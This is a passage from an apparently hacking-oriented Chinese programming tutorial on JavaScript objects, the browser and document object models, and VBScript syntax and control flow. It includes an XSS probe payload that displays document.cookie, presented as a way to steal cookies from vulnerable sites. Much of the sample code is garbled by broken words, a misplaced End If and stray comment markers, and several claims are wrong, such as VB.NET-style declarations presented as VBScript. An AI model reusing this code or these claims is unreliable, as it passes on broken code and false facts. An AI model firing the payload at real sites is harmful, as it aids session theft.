编程语言中的对象实际上是对现实世界中对象的抽象和模拟,Javascript支持对象。在编程世界中,数据和处理数据的方法结合在一起就构成了对象。对象包括属性和方法两个特点。属性是用于描述对象的特征,比如,一台电脑有一定的颜色、尺寸、重量等特征,这就是这台电脑的属性。方法表示对象能够干什么,比如可以使用电脑来上网、玩游戏。

1、 创建和使用自定义对象

对象不是凭空就有的,所以我们在使用对象之前需要创建对象。而当要应用对象时,就要访问对象的属性和方法。

在javascript中,创建对象有几种途径,其中最为常用的是使用构造函数。Javascript提

供了几个内置的构造函数,如Object()、Array()、Date()等,其中构造函数Object()可以使用它来构造一个空对象,并通过扩展这个空对象来构造需要的对象。构造函数是一种用于创建对象实例的特殊方法,它具备了创建对象并初始化对象的功能,正是由于这种构造对象的特性,才把这种类型的特殊函数称为构造函数。将关键字new放在构造函数前面就能够创建该构造函数对应的对象。语法格式为:var myNewObject = new Object(para1,para2………);。下面是使用构造函数创建对象的几个示例:

var cat = new Object();

var MyStudent = new Array("曾云好", "土豆");

对象的属性是描述对象的特征,它实际上是对象的成员变量。使用点运算符(.)将属性与所属对象关联起来。定义属性的方法很简单,即在对象名后面写上点运算符,然后写上对象的属性名。例如一台电脑的颜色为红,那么就可以写成Computer.color=Red;。

如果对象的属性也是一个对象,那么在创建属性的时候就要用new关键字和Object()构造函数创建一个新的对象,并把该新对象的引用赋值给作为属性使用的子对象名称。这样说可能大家很难理解,所以这里我通过示例4-12来说明,它的代码如下:

<html>

<head>

<title>创建和使用对象的属性</title></head>

<body>

<script language=JavaScript> var vehicle=new Object(); vehicle.car=new Object();

vehicle.car.name="奔驰";

vehicle.car.speed="300公里/小时"; vehicle.car.color="red";

document.write("小汽车的名字:"+vehicle.car.name);

document.write("<br>奔驰的速度为:"+vehicle.car.speed);

document.write("<br>奔驰的颜色:"+vehicle.car.color);

</script>

</body>

</html>

上面我们定义了一个交通工具的对象vehicle。而小汽车car是交通工具对象的一个属性。但是同时小汽车car也是一个对象,所以在使用car对象的时候就要用声明对象一样声明这个属性。而同时小汽车car还是有自己的属性,如颜色、速度等等。代码保存后运行结果如图 4-22所示。

image

图 4-22

和上面所访问的属性一样,我们同样可以使用点运算符(.)访问对象的方法。不过与属性不同的是,方法名称的后面要跟上一个小括号。比如,还是用上面的例子来说明,假设

vehicle.car 对象有一个启动汽车的方法 drive(),那么就可以使用 vehicle.car.drive()这样的方式来访问这个方法。很函数一样,方法也可以有参数,比如,前面多次调用的 document.write()方法就可以有一个或多个参数。

除了可以使用 Object()等构造函数来创建自定义对象之外,我们还可以通过函数来创建对象。这个时候的函数我们叫对象的模板。我们在定义函数之后,可以使用 new 关键字和函数名称一起创建新的对象,并把它赋值给变量。这个时候定义的函数实际上就是一个构造函数。在定义函数时,使用 this 关键字来代表函数将来所创建的对象。这样说大家可能还是不明白,下面通过示例 4-13 来具体说明使用函数来定义的对象,代码如下:

<html>

<head>

<title>创建和使用对象的属性</title></head>

<script language="javascript"> function phone(name,phoneno,site){ this.name=name; this.phoneno=phoneno; this.site=site;

}

</script>

<body>

<script language="javascript">

var myphone=new phone("曾云好","0731—123456789","湖南省长沙市"); document.write

("<br>"+myphone.name+"<br>"+myphone.phoneno+"<br>"+myphone.site);

</script>

</body>

</html>

我先定义了一个phone函数,而且在函数里的属性都是使用的this关键字。而在后面使用关键字new和函数名来创建一个使用这个函数的对象,并把结果输出,如图4-23所示。

image

图4-23

2、 浏览器对象模型

通过上面的学习,大家应该知道了javascript是一种基于对象的语句,它通过操作对象来完成各种任务。浏览器创建的对象我们通常称作文档(Document)对象但是它只是浏览器使用众多对象中的一部分。浏览器操作的各种对象组合起来我们叫浏览器对象模型(Browser Object

Model),简称BOM。Javascript使用的浏览器对象模型如图4-24所示。

image

图4-24

从图4-24中,我们可以发现window对象是顶层对象,它包含了相关显示文档的窗口信 息,例如窗口中包含的文档、框架、历史、位置等;navigator对象包含了浏览器的信息,例如浏览器的名称、版本、运行平台、是否支持cookie等;Frames数组用于引用一组窗口对象;

location对象存储了当前页面的URL地址;document对象即为文档对象,是浏览器对象模型中最重要的对象,也是我们在编程的时候使用最多的对象;history对象记录了当前会话中用户访问了哪些WEB页面;screen对象提供了当前计算机的显示特性,例如屏幕的宽度、高度、颜色深度等等。由于这部分内容和黑客联系不是非常紧密,所以我就简单说一下window和

navigator对象,而document对象在后面我会专门拿出来讲,对于其他对象本书就不讲解。不过对于那些使用javascript编程的朋友是一定要学会这部分内容,在光盘中我已经为大家收录了几本非常好的javascript书籍,大家要学这部分内容的话详见光盘。

我们知道,目前世界上的浏览器还是比较多的,常见的有Internet Explorer、Netscape

Navigator、Mozilla Firefox等等,通过Javascript的内置对象navigator我们可以当前使用的浏览器是那种类型、哪种版本、是否支持Java、当前浏览器都有那些插件(Plug-ins)等信息,从而让程序能够对特殊的浏览器做出相应的处理。常用的navigator对象的属性如表4-2所示。属性 意义

appCodeName 浏览器的代码名称,只读属性。Netscape和IE的该属性都是"Mozilla"

appName 浏览器的实际名称,只读属性。

cookieEnable 说明浏览器是否支持cookies,只读属性。

Platform 给出运行浏览器的操作系统或硬件类型。

systemLanguage 给出操作系统的缺省语言,只读属性。

userAgent 给出浏览器在HTTP请求中使用的用户代理首部的值。

表4-2

而navigator对象的方法,常用的有javaEnable(),用来判断当前浏览器是否对Java支持。

严格的来讲,不同的浏览器支持不同的特性。也就是说,他们有不同的方法和属性。对浏览器很熟悉的朋友还知道即使同一个浏览器的不同版本之间还是存在着一些差别。示例4-14演示了检测浏览器及其特性,使用了上面列出的浏览器属性和名称。代码如下:

<html>

<head>

<title>检测浏览器及其特性</title></head>

<body>

<h3>检测浏览器的名称、版本号、HTTP用户代理首部的值<h3>

<script language="javascript">

document.write("<b>浏览器名称:</b>"+navigator.appName+"<br>");

document.write("<b>浏览器代码名称:</b>"+navigator.appCodeName+"<br>");

document.write("<b>浏览器是否打开cookie:</b>"+navigator.cookieEnable+"<br>");

document.write("<b>运行平台:</b>"+navigator.platform+"<br>");

document.write("<b>系统语言:</b>"+navigator.systemLanguage+"<br>");

document.write("<b>浏览器代理用户:</b>"+navigator.userAgent+"<br>");

</script>

</body>

</html>

我用IE浏览器打开之后就得到了浏览器和操作系统的一些信息,如图4-25所示。当然还可以使用其他浏览器来打开,这里我还用Firefox(火狐)浏览器打开,如图4-26所示。我们可以对比一下这两个浏览器所包含的信息有哪些相同点和不同点。

image

图4-25

image

图4-26

窗口是Javascript浏览器对象模型中的顶层对象,称作window对象,它代表了打开的浏览器窗口。窗口对象是其他所有对象的基础,它也有自己的属性和方法,用于控制窗口特征和行为。因为窗口对象使用非常频繁,有是其他对象的父对象。所以在使用窗口对象的属性和方法时,javascript允许省略窗口对象的名称,即省略window这个名称。例如要使用窗口对象的alert()方法显示一个信息对话框时,正规的写法应该是window.alert("hello 曾云好!"),但是Javascript允许使用简略的写法alert("hello 曾云好!")。

窗口对象有一组丰富的属性和方法。其中有一些属性本身又是一个对象,下面我列举了最为常用的属性和方法。表4-3为窗口对象的属性,表4-4为窗口对象的方法。

属 性 意 义

closed 指明窗口是否已经被关闭,true表示关闭,false表示未关闭,只读属性。

document 只读,为当前窗口或框架包含的Document对象的引用。

name 窗口的名称,窗口名称可以通过window.open()方法指定。

screenX,screenY 整数型只读值,指定窗口左上角在屏幕上的X,Y坐标。

表4-3

方 法 意 义

alert(message) 在对话框中显示消息message,无返回值。

blur() 从 窗 口 中 移 去 键 盘 输 入 点 , 无 返 回 值 。

Close() 关 闭 窗 口 , 无 返 回 值 。

moveBy(dx,dy) 将窗口从当前位置移动到指定的距离。

moveTo(x,y) 将 窗 口 移 动 到 指 定 的 位 置

Open(url,name,features) 在name参数指定的窗口中显示url指定的文档。

setInterval(code,interval,args…) 每隔interval指定的毫秒数就执行一次code字符串指定

的代码。

setTimeout(code,delay) 在延迟delay参数指定的毫秒数后指定code字符串指定

的代码。

表4-4

上面就是最为常用的属性和方法了。其中alert()和open()是最频繁的,alert()上面我已经多次说明了,下面就来看看open()方法。

除了可以在浏览器中通过执行"文件"——>"新建"——>"窗口"菜单命令打开一个新窗口外,也可以通过代码来打开一个新窗口,此时,我们需要使用到window对象的open方法.其语法格式为: var window_object=window.open("url",windowname,[features]); 。

例如:var winobj=window.open("http://www.google.com","google");

示例4-15演示了open方法的简单用法。代码如下:

<html>

<head>

<title>open方法的简单应用</title>

<script language="JavaScript"> function openNewwindow(){

var winobj=window.open("http://www.google.com","google");

}

</script>

</head>

<body>

<h3>open方法的简单应用:点击即可打开google</h3>

<a href="javascript:openNewwindow()">点击即可打开google</a>

</body>

</html>

这里我们用到了前面的函数调用方式,同时使用了链接触发函数,点击后即可打开google,如图4-27所示。

image

图4-27

3、 Document对象

上面我已经给大家提到了document对象,同时在前面我们已经多次使用document对象的方法向页面输出数据。上面我们已经知道如何打开窗口、操作窗口、检测浏览器运行平台、以及特性。而如果我们想真正控制窗口中的内容,就必须学习javascript的文档对象模型 (DOM, Document Object Model)。利用文档对象模型,使用Javascript操作页面的过程通常我们称为动态HTML,也称为DHTML或Dynamic HTML。有一点大家必须要明白:文档对象模型不是Javascript的一部分,而是独立于编程语言和操作平台的一个编程接口,VBscript同样可以在IE浏览器中通过DOM操作页面的内容。对于文档对象模型我这里就不在多讨论其概验的问题,感兴趣的朋友可以参考光盘中的电子书籍。我们把主要精力放在使用文档对象模型访问document对象。

在浏览器对象模型中,我们知道document对象是window的一个属性。document对象表示浏览器中显示的HTML文档,它是客户端Javascript编程最重要的对象之一。Document对象主要对应于文档主体部分——<body></body>标记之间的内容。Document对象的访问语法为下述两种格式:

window.document docuemt

document对象的常用属性如表4-5所示。

属 性 意 义

bgColor 指定文档的背景颜色

cookie 允许读写HTTP的cookie,字符串类型

fgcolor 指定文档的前景颜色,字符串类型

title 文档标题,对应于文档中的<title>标记内容

URL 指定当前文档的URL,只读属性。

表4-5

上面列举的最为常用的属性,对于跨站,我想大家都听过窃取cookie吧,其实窃取cookie就是利用的document对象的cookie属性。我们只要在存在漏洞的网站输入

<script>alert(document.cookie)</script>就可以窃取到cookie,如图4-28所示。对于窃取

cookie在后面我会详细的给大家讲解。

image

图4-28

Document对象提供了一组操作文档内容的方法,前面我们多次使用的write()和writeln()就是

document对象的两个方法。表4-6列出了document对象的方法。

方 法 意 义

open() 删除现有文档的内容,打开一个新的文档输出流。

close() 关闭open方法打开的文档输出流

focus() 指 定 文 档 得 到 焦 点

write(value,….) 在当前的文档中插入的字符串或在open()打开的文档末尾添加字符串

writeln(value,….) 与Write()方法先同,只是在输出字符串的末尾添加回车换行字符

表4-6

4.3 什么是VBScript语言

4.3.1 VBScript概述

虽然上面所讲的Javascript和Java没有什么关系,但是大家就不要认为vbscript和vb没什么关系哦,vbscript和vb可是有着非常紧密的联系。Vbscript是由微软提供的一种脚本语言,它是Visual Basic编程语言的子集。

Vbscript通常都是和HTML结合在一起使用,也就是说,vbscript是融合在HTML或者ASP

文件中。在一个HTML文件中,vbscript的声明方式和javascript的声明方式比较类似,具体如下:

<script language="VBScript">

<! ---

//输入VBScript代码

---!>

</script>

从上面可以看出,VBScript代码写在成对的<script>标记之间。代码的开始和结束部分都有

<script>标记。其中language属性用于指定所使用的script语言。和我们声明javascript是不是差不多呢。其实呢,浏览器是可以使用多种script语言的,其声明方式都差不多,只需要在

language属性中指定不同的语言即可。需要注意的是,<script>标记中的VBScript代码被嵌入在注释标记(<!--和--> )中,这样能够让那些不能够识别<script>标记的浏览器将代码当成注释显示在页面中。

前面学习javascript的时候,大家已经知道javascript代码可以放在HTML文档中头标记

<head>和</head>或体标记<body>和</body>之间,VBScript代码同样也是放在这些标记之间。通常在客户端获得HTML文件代码的时候Script代码总是最先被执行的。但是如果把Script代码在函数或者过程(通常是指我们自己定义的函数和过程)中,并且不被调用,那么Script代码 就永远不会被执行。而如果Script代码在函数或者过程之外,但有包含在<script>标记中,那么就会在页面加载的过程中执行一次script代码,下面通过示例4-16来演示。

该例子在HTML加载时会自动弹出一个对话框,且仅在加载的时候调用一次,那么在整个页面活动期间不会再弹出该对话框,例子的代码如下:

<html>

<head>

<title>html文件加载时调用VBScript</title>

</head>

<SCRIPT LANGUAGE="VBScript">

<!--

Msgb ox "加载时调用我,我只执行一次哦!"

/ / Msgbox是VBScript的一个内置函数,作用是弹出一个对话框

-->

</SCRIPT>

<body>

学习VBScipt

</body>

</html>

代码运行的结果如图4-29所示。

image

图4-29

前面我们提到了如果VBScript代码被写在函数或过程中,又不写在其他调用语句中,那么其中的代码就永远不会被解释调用。但是有一个例外,即对事件的响应。因为浏览器自定义了很多内部的函数,这些函数只要有一定的事件激发,就会自动执行,而不需要我们自己写额外的代码。示例4-17演示的是在HTML文件加载的时候,自动调用函数中的代码,即弹出一个对话框,代码如下:

<html>

<head>

<title>html文件加载时调用VBScript</title>

</head>

<SCRIPT LANGUAGE="VBScript">

Sub Window_Onload()

Msgb ox "这是在函数内部自动执行的代码哦!" End Sub

</SCRIPT>

<body>

学习VBScipt

</body>

</html>

在vbscript中如果出现了Sub关键字,那么就表示这是一个过程, Sub 过程是包含在Sub和 End Sub 语句之间的一组 VBScrip t 语句,执行操作但不返回值。由于Window_Onload是在页面加载的时候自动激活的事件调用,所以在该过程中的代码引入会被执行。执行的结果如图4-30所示。

image

图4-30

还有一种情况需要注意的是,很多时候,VBScript的代码或者函数,是通过外部事件来激活调用的,比如单击一个按钮(示例4-17其实也是一个事件,只是这个事件是系统自动激活的),下面通过示例4-18来演示一个单击按钮弹出对话框的实例,代码如下:

<html>

<head>

<title>html文件加载时调用VBScript</title>

<SCRIPT FOR="Button1" EVENT="onClick" LANGUAGE="VBScript">

MsgB ox "通过鼠标单击调用的哦!!!"

</SCRIPT>

</head>

<body>

<FORM NAME="Form1">

<INPUT TYPE="Button" NAME="Button1" VALUE="请单击我哦">

</FORM>

</body>

</html>

在这里需要注意的是, FOR="Button1"表示该代码响应名称为"Button1"的按钮,而代码

EVENT="onClick"表示该段代码响应"Button1"按钮的单击事件。运行代码后,单击按钮之后就触发了相应的事件,弹出对话框来,如图4-31所示。

image

图4-31

    1. VBScript基础

      1. VBScript编程基础

        在这几节中给大家补充一些基础知识,如果有Visual Basic基础的朋友应该非常熟悉,而没有基础的朋友可要认真了,千万不要打瞌睡哦!因为在4.8节中的病毒分析要用到这些基础知识,相信大家一定对病毒很向往吧,那就要打起精神来哦!

        VBScript的数据类型

        有编程基础的朋友一定知道,在每种编程语言中都有很多数据类型,如字符型、整型、浮点型等,同样在VBScript中也有数据类型。但由于VBScript是一种简单同时也是一种很安全的脚本语言,所以它在数据类型上的定义要宽松的多。

        VBScript只有一种数据类型,称为Variant。Variant是一种特殊的数据类型,它可以根据不同的使用方式包含不同类别的信息。因为Variant是VBScript中唯一的数据类型,所以它也是VBScript中所有函数返回值的唯一数据类型。

        最简单的Variant只包含数字或者字符串信息。当上下文都是数字的时候,Variant将被作为数字处理;当上下文是字符串的时候,Variant将被作为字符串处理。也就是说,如果使用

        的数据是数字,则VBScript会假定Variant为数字并用数字的方式来处理;如果使用的数据只是字符串,则VBScript会将Variant按字符串来处理。当然,还可以用双引号("")把任何数据引起来,使其成为字符串。除了简单的数字或字符串数据以外,Variant还可以进一不区分数据信息的特定含义,比如可以使用数据信息表示时间或者日期。Variant包含的数据信息称为子类型。通常情况下,将所需的数据放入Variant后,Variant会自动使用最合适其包含的数据方式操作。Variant包含的子类型如表4-7所示。

        子 类 型 描 述

        Empty 未初始化的Variant,对于数字变量其值为0;对于字符变量其值为零长度。

        Null 不包含任何有效数据的Variant

        Boolean 其值为Ture或者False

        Byte 取值范围:0~255内的整数

        Integer 取 值 范 围 :-32,768~32,767

        Currency 取值范围:-922,337,203,685,477.5808~922,337,203,685,477.5807

        Long 取值范围:-2,147,483,648~2,147,483,647内的整数

        Single 包含单精度浮点数,负数范围为-3.402823E38~-1.401298E-45,正数的范围为

        1.401298E-45~3.402823E38

        Double 包含双精度浮点数,

        负数的范围为-1.79769313486232E308~-4.94065645841247E-324正数的范围为4.94065645841247E-324~1.79769313486232E308

        Date(Time) 包含表示日期的数字,日期范围从公元100年1月1日到公元9999年12月31日

        String 包含变长字符串,最大长度可为20亿个字符

        Object 包 含 对 象

        Error 包 含 错 误 代 码

        表4-7

        VBScript的变量声明

        接触过程序的朋友都知道,大部分的编程工具在使用一个变量之前,都必须首先为这个变量定义一个数据类型,比如C语言里一个整数变量I是这样声明的:int I;,然后才可以使用。而在Visual Basic确没有这样的限制,因此作为Visual Basic的子集,VBScript也没有这方面的限制。所以变量的声明有两种方式,如下所示:

        aaa="湖南"

        bbb="湖南" As String

        上面的aaa和bbb两个变量实际上是相等的。关键字As后面的跟着这个变量的数据类型,可以是表4-7中的任何一个,当然它可以省略,因为系统会根据变量的值来自动获取其最合适的数据类型。上面两个变量是没有声明就进行赋值操作了,虽然这样比较方便,但这样一来就影响了程序运行的效率,同时不利于养成良好的编程习惯。所以一般我们还是要先定义变量,然后再使用变量,变量的定义格式为:Dim myName

        定义一个变量的方法是直接使用关键字"dim",同时还可以使用public或者private关键字来确定这个变量的作用范围。如果需要同时定义多个变量,可以使用如下定义语句:

        Dim myName,yourname,hisname

        即在多个变量之间用逗号隔开。同时为了系统自动帮助减少错误,可以在程序代码开始加上一句限制语句即"Option Explicit",这样,如果在编程的过程中没有对变量进行声明,那系统就会报错。

        一个变量的作用域是由它声明的位置所决定的,在VBScript中,只有两种变量作用范

        围。第一种是过程级。如果在过程中声明变量,则只有在该过程中的代码可以访问或更改变量值,此时变量具有局部作用域并称为过程级变量。如果在过程之外声明变量,则该变量可以被Script中所有的过程识别,称为脚本级或者模块级变量,具有Script级作用域。

        对于过程级变量,其存活期仅仅是在这个过程运行的时间里,当这个过程结束后,变量就会随之消失,所以当变量在过程内部声明时,变量只能在过程内部看到。可以在不同的过程中使用同名的局部变量,这是因为每个局部变量只被声明它的过程所识别。下面我们来分析一段代码:

        <script Language=VBScript>

        <!--

        Sub hello()

        Dim aaa ' 声明一个aaa的过程级变量

        aaa=aaa+1

        End Sub '过程级变量的生命期结束 Sub welcome()

        Dim bbb '声明本地变量

        bbb= aaa+10 ' 会产生错误,因为aaa超出了作用范围

        End Sub

        -->

        </script>

        与过程级变量不同,当在<script>标记范围内、但是在所有过程之外声明变量时,脚本级变量可以供声明该变量的Web页面的所有过程使用。

        VBScript中变量的赋值同其他语言基本是没什么区别,格式如下:

        Dim 变量名

        变量名=需要赋值的数据或者变量

        在编程的时候我们经常用到一种数据就是常数,比如使用最为频繁的圆周率为3.14。常数是具有一定含义的名称,用于代替数字或者字符串,常数的值是不变的。在VBScript中可以使用Const语句来创建用户自定义常数。使用Const语句可以创建名称具有一定含义的字符串型或数值型常数,并给他们赋值。例如:

        Const MyString="这是一个字符串"

        Const MyAge=20

        需要注意的是字符串文字包含在两个引号("")之间,这是区分字符串型常数和数值型常数最明显的方法;日期文字和时间文字包含在两个井号(#)之间,例如:

        Const cutoffDate=#2007-1-11#

      2. VBScript的控制语句

        常用的控制语句总的分为两大类,即条件语句和循环语句。常用的循环语句有如下几

        种:

        • Do………Loop:当(或直到)条件为Ture时循环

        • While………Wend:当条件为Ture时循环

        • For…………Next:制定循环次数,使用计数器重复运行语句

        • For Each………….Next:对于集合中每项或数组中的每个元素,重复执行一组语句

          使用条件语句和循环语句可以控制Script的流程。使用条件语句可以编写进行判断和重复操

          作的VBScript代码。在VBScript中可使用以下两种条件语句:

        • If……….Then……Else语句

        • Select…..Case语句

          下面依次介绍这些语句的基本使用方法。

          Do………Loop循环

          可以使用Do………Loop语句来多次运行语句块。当条件为Ture的时候,或者条件变为

          Ture之前,重复执行语句块。Do………Loop有两种执行方式,下面分别来介绍一下。

          1. 当条件为Ture时重复执行语句这种方式的使用格式如下所示: Do while (条件语句)

            '执行语句块'

            Loop

            Do While…..Loop对条件求值,如果条件为真,则对条件后面的语句求值。完成了上述

            操作后再次对条件求值,如果条件还是为真,则再次对语句进行求值。它不断的重复该过程,直到条件为false的时候为止。

            这种方式还有另外一种使用方式,如下所示:

            Do

            '执行语句块' Loop while (条件语句)

            Do……. Loop while先对语句求值一次。然后在对条件求值,如果条件为真,则再对语句求值。该过程持续进行,直到条件为false时为止。

            上面的两种方式的区别在于Do While…..Loop是先进行条件判断之后再执行语句块,如果条件为false,那么语句块就一次也不执行,即语句块循环零次或者多次;而Do……. Loop

            while是先执行一次语句块之后再判断条件是否为真,即语句块至少执行一次,而不论条件为真还是假。

            示例4-19演示了搜索输入字符串中数字第一次出现的位置。如果发现了数字,则返回该数字的位置,否则返回-1。例子的代码如下:

            <html>

            <head>

            <title>第一次出现数字的位置</title>

            </head>

            <SCRIPT LANGUAGE="VBScript">

            <!--

            Dim inString,c

            inString = "曾云好是于1987年10月出生的"

            Dim i,strLen,formula i=1

            strLen=Len(inString) / /函数Len是返回字符串内字符的数目,这里返回的16 formula=-1

            Do While (i<=strLen) And (formula=-1)

            c=Mid(inS tring,i,1) //函数Mid从字符串中返回指定数目的字符 If IsNumeric(c) Then formula=i

            //函数IsNumeric是返回 Boo lean 值指明表达式的值是否为数字

            i=i+ 1

            Loop

            msgbox "数字第一次出现的位置是"&formula

            -->

            </SCRIPT>

            <body>

            第一次出现数字的位置

            </body>

            </html>

            image

            image

            在本例中,我输入的字符串是"曾云好是于1987年10月出生的",公式返回6,即数字1的位置的第6个,运行结果如图4-32所示。

            图4-32

          2. 重复执行语句直到条件变为Ture这种方式的使用格式如下所示: Do until (条件语句)

            '执行语句'

            Loop

            Do until……. Loop与Do While…..Loop很相似,不同的是它是一直对语句求值直到条件为真,而不是当条件为真时对语句求值,即只要条件表达式为False或零,而不是为True或非零时,循环才被执行。

            与上面相对应,此种方式还有另外一种使用方式,如下所示:

            Do

            '执行语句'

            Loop until(条件语句)

            他们之间的区别和上面的是一样的,只是一个判断条件变成相反而已。

          3. 退出循环

          Do until或While (条件语句) '如果条件符合 '执行代码 '如果条件不符合

          Exit Do '退出循环 Loop

          Exit Do语句用于退出Do….Loop循环,因为通常只是在某些特殊的情况下要退出循环。

          While………Wend循环该循环的使用格式如下: While ( 条件语句)

          '执行语句'

          Wend

          While循环与Do While…..Loop相似,不同的是它不支持Exit语句。

          For…………Next循环

          在编程的时候如果我们不知道循环多少次语句时,Do循环可以发挥很好的作用。但是如果我们知道循环的次数,那么For…………Next是更好的一个选择。与Do循环不同,For循环可以使用counter的变量,该变量的值将在每次重复循环的过程中递增或者递减。语法如下所示:

          For counter [As datatype] = start To end [Step step]

          [ 执行语句] [ Exit For]

          [ 执行语句]

          Next

          For相对来说要复杂一些,下面解释其中的重要参数。符号[]表示的里面的参数是可选

          的。变量counter必须是支持大于或等于(>=)、小于或等于(<=)和加法(+)运算符的数字数据类型,通常为Integer。迭代值start、end和step是必须计算数据类型的表达式,扩展为counter类型,通常他们都是Integer,可选项step可以为正也可以为负。如果省略的话,则采用1。如果没有在循环外面声明counter,那么可以在For语句中使用As子句声明该变量。

          开始执行For……..Next循环时,VBScript计算start、end和step。然后将start赋予counter。执行语句之前,先将counter与end进行比较,如果counter已经超过了结束值,则For循环终止,控制传递给Next语句后面的语句,否则执行该语句块。

          每次VBScript遇到Next语句时,都按step递增计数器,然后返回到For语句。它再次将计数器与end进行比较,并根据结果执行块或者终止循环。这个过程不断的继续,直到计数器超过end或执行了Exit For语句为止。

          到counter超过结束值后,循环就会终止。如果counter等于end,则循环继续。如果step为正数,确定是否执行循环代码块的比较运算为counter<=end;如果step为负数,则为 counter>=end。

          上面就是对For循环的解释,说是比较理论和笼统。对于没有编程基础的朋友来说要理解有一些困难。下面通过几个小的例子来演示For…………Next循环,用以让大家增加对它的理解程度。

          使用step关键字可以按指定的值递增或者递减计数器,在下面的两个例子中分别通过一个递增一个递减来演示。

          若要增加计数器的变量,可以使用正数的step。这样做之后,应指定大于起始值的结束值。在下面的示例中,计数器变量J每次循环重复递增2。循环结束后,Total为2、4、6、8和10的总和。

          Dim J, Total

          For J = 2 To 10 step 2

          //J的值从2到10,而且每次增加的为2,所以J的值有2、4、6、8、10 To tal = Total + 2

          //循环体的动作是将每次循环产生的J的值相加,直到J的值为10之后,循环结束

          Next

          MsgBox("The Total is "&Total)

          若要减少计数器变量,可使用负数的Step值,这样做之后,应指定小于起始值的结束

          值。在下面的示例中,计数器变量J每次循环重复递减2。循环结束后,Total为16、14、12、

          10、8、6、4的总和。 Dim N, Total

          For N = 16 To 4 Step -2

          //J的值从16到4,而且每次递减的为2,所以J的值有16、14、12、10、8、6、4 Total = Total + N

          //循环体的动作是将每次循环产生的J的值相加,直到J的值为4之后,循环结束

          Next

          MsgBox("The Total is "&Total)

          使用Exit For语句可在计数器超过其结束值之前退出For…….Next循环。例如,如果检测到使继续跌代不必要或不可能的条件,则要退出循环。

          示例4-20利用For循环,每次递增为1,求出了1到100的总和,代码如下:

          <html>

          <head>

          <title>1到100的总和</title>

          </HEAD>

          <body>

          <Script Language=VBScript>

          <!--

          Dim j, total

          For j = 1 To 100

          total = total + j

          Next

          MsgBox "1到100的总和为" & total

          -->

          </Script >

          </body>

          </html>

          image

          image

          运行之后结果如图4-33所示,其结果为5050。

          图4-33

          前面简单的介绍了几种常用的循环语句,接下来就介绍几种常用的条件语句。

          If……….Then……Else条件语句

          If……….Then……Else语句用于计算条件是否为True或False,并且根据计算结果制定要运行的语句。通常,条件是使用比较运算符对值或变量进行比较的表达式。

          If……….Then……Else语句的使用格式如下: If condition [ then ]

          [ statements ]

          [ ElseIf elseifconfition [ then ] [ elseifstatements ] ]

          [ Else

          [elsestatements ] ]

          End If

          下面对其中重要的参数做说明。

          condition:必选项,表达式。为condition提供的表达式必须计算为Ture或Flase,或者计算为能够隐式转换为Boolean的数据类型。

          Statements:在多行格式中是可选项,在没有else子句的单行格式中是必选项。跟在if……then

          后面的一条或多条语句,当condition为True时将执行这些语句。

          Elseifconfition:如果存在elseif,则必选项。功能与condition相同。

          Elseifstatements:可选项,跟在elseif……..Then后面的一条或多条语句,当相关的

          elseifcondition为True时将执行这些语句。

          Elsestatements:在多行格式中是可选项;在有Else子句的单行格式中是必选项。当前面的 condition或Elseifconfition表达式都不为True时执行的一条或多条语句。

          End If:终止if….else块。

          上面的解释同样是相当的理论和笼统,下面通过对If……….Then……Else语句的几种使用格式来具体说其用法。

          1. 如果条件为Ture,则执行语句。

            如果要在条件为True时运行单行语句,则可使用If……….Then……Else的单行语法。下面示范了单行语法,需注意的是这里省略了关键字else。

            Dim myDate

            myDate = #2007/1/25#

            If myDate < Now Then myDate = Now

            如果要运行多行代码,则必须使用多行(或块)语法。多行语法包含End If语句,如下所示: Dim age

            Age = 15

            If age > 18 Then

            MsgBox "你已经长大成人了!"

            End If

          2. 条件为Ture和False时分别运行某些语句

            可以使用If……….Then……Else语句定义两个可执行语句块:条件为Ture时运行某一条语句块,条件为False时运行另一语句块,如下示例:

            Dim age Age =15

            If age>18 Then

            M sgBox "你已经长大成人了!" Else

            M sgBox "你还是小孩子咯!"

            End If

          3. 对多个条件进行判断 If……….Then……Else语句的变形允许从多个条件中选择,即增加ElseIf子句以扩充 If……….Then……Else语句的功能,使得可以控制基于多种可能的程序流程。如下示例: Dim age

          Age =15

          If age<18 Then

          MsgBox "你还未成年哦" Elseif age>18 and age<40 then

          MsgBox "人到中年了哦"

          Else

          End If

          MsgBox "人到老年了哦"

          示例4-21演示了利用If……….Then……Else语句的一个成绩分类功能,如果学生的成绩在60分以内为不及格,60-80分为及格,80-90分为良好,90分以上为优秀。

          <html>

          <head>

          <title>if...then...else示例</title>

          </HEAD>

          <body>

          <Script Language=VBScript>

          <!--

          dim myValue myValue=95

          if myValue<60 then

          doc ument.write "你不及格!"

          elseif myValue>=60 and myValue<80 then doc ument.write "你刚刚及格!" elseif myValue>=80 and myValue<90 then

          doc ument.write "你的成绩不错,获得良好!" else

          doc ument.write "恭喜你,你获得优秀!" end if

          -->

          </Script >

          </body>

          </html>

          由于开始设定成绩为95分,所以输出结果为优秀,如图4-34所示。

          image

          图4-34

          Select…..Case语句

          Select…..Case结构提供了If……….Then……Else结构的一个变通形式,可以从多个语句块中选择执行其中的一个。Select…..Case结果在其开始处使用一个只计算一次的简单测试表达式。表达式的结果将与结构中的每个case的值比较,如果匹配,则执行与该case关联的语句块。

          Select…..Case语句的使用格式如下: Select [ case ] testexpression

          [ Case expressionlist

          [ statements ] ] [ Case Else

          [ elsestatements ] ]

          End Select

          下面对重要的参数进行说明。

          Testexpression:必选项。必须是某个基本数据类型,如数值、字符等。

          Expressionlist:在Case语句中是必选项。表达式子句列表表示Testexpression的匹配值。多个表达式子句以逗号隔开。每个子句都可以采用下面的某一种形式:

          e xpression1 To expression2

          [ Is ] comparisonoperator expression Expression

          使用关键字To制定Testexpression的匹配值范围的边界。expression1的值必须小于或等于expression2的值。

          Statements:可选项,Case后面的一条或多条语句,当Testexpression匹配Expressionlist中的任何子句时执行。

          Elsestatements:可选项,Case Else后面的一条或多条语句,当Testexpression不匹配任何Case

          语句的Expressionlist中的任何子句时执行。

          End Select:终止Select…..Case语句。

          下面通过示例演示了Select…..Case语句的基本用法:

          Select Case Number Case 1 To 5

          Msg Box "between 1 to 5"

          Case 6,7,8

          Msg Box "between 6 to 8"

          Case 9 To 10

          Msg Box "between 9 to 10" Case Else

          Msg Box "Not between 1 to 10"

          End Select

          示例4-22演示了Select…..Case语句的用法,根据数字来判断某人是哪里人。代码如下:

          <html>

          <head>

          <title>select case示例</title>

          </HEAD>

          <body>

          <Script Language=VBScript>

          <!--

          dim whereNum WhereNum=3

          select case WhereNum case 1

          m sgbox "你是江西人" case 2

          m sgbox "你是湖南人" case 3

          m sgbox "你是北京人" case else

          m sgbox "你是上海人" end select

          -->

          </Script >

          </body>

          </html>

